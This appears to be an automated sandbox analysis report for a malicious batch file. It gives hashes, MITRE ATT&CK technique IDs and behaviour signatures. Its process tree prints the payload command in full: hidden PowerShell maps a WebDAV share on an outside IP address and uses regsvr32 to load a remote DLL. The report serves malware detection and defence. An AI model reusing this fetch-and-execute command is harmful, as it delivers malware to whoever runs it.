e50df85650b0addbdb79ee4dd9987d5dc8b5da51811a997806affd330231e7e9

Analysis

max time kernel
141s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21-07-2024 18:12

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General

Target

39511625156493184.bat
Size

5KB
MD5

6c72f56c432183ebc57f4b33c25ead2b
SHA1

80d179798b18ace82c93b053ea724bde83095739
SHA256

e50df85650b0addbdb79ee4dd9987d5dc8b5da51811a997806affd330231e7e9
SHA512

0ee801c5c471d688edaf94c273e964934f3f3732bc596ff2b16c0146155af9bcfb756a56e3ff2293a5777b10a8941d2af44e108721d5218e9d968e676c8dfda4
SSDEEP

96:IpjQoaJvynTy/FFYD4JfucJWDXXkkkxVHHUXkkkxVHH5ixphWDQ9gDiUIMy7b+re:qUPoOTbwnkkk2kkklap+Q9gGUIM2b+q

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3372	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3372	powershell.exe
3372	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1248	wordpad.exe
1248	wordpad.exe
1248	wordpad.exe
1248	wordpad.exe
1248	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 1248	2380	cmd.exe	85
PID 2380 wrote to memory of 1248	2380	cmd.exe	85
PID 2380 wrote to memory of 3372	2380	cmd.exe	87
PID 2380 wrote to memory of 3372	2380	cmd.exe	87
PID 3372 wrote to memory of 4008	3372	powershell.exe	89
PID 3372 wrote to memory of 4008	3372	powershell.exe	89
PID 3372 wrote to memory of 2292	3372	powershell.exe	90
PID 3372 wrote to memory of 2292	3372	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\39511625156493184.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\150132222719596.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4008
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\150132222719596.dll
    3⤵
    PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwkxwuy2.md1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3372-9-0x000002D349320000-0x000002D349342000-memory.dmp

Filesize
136KB

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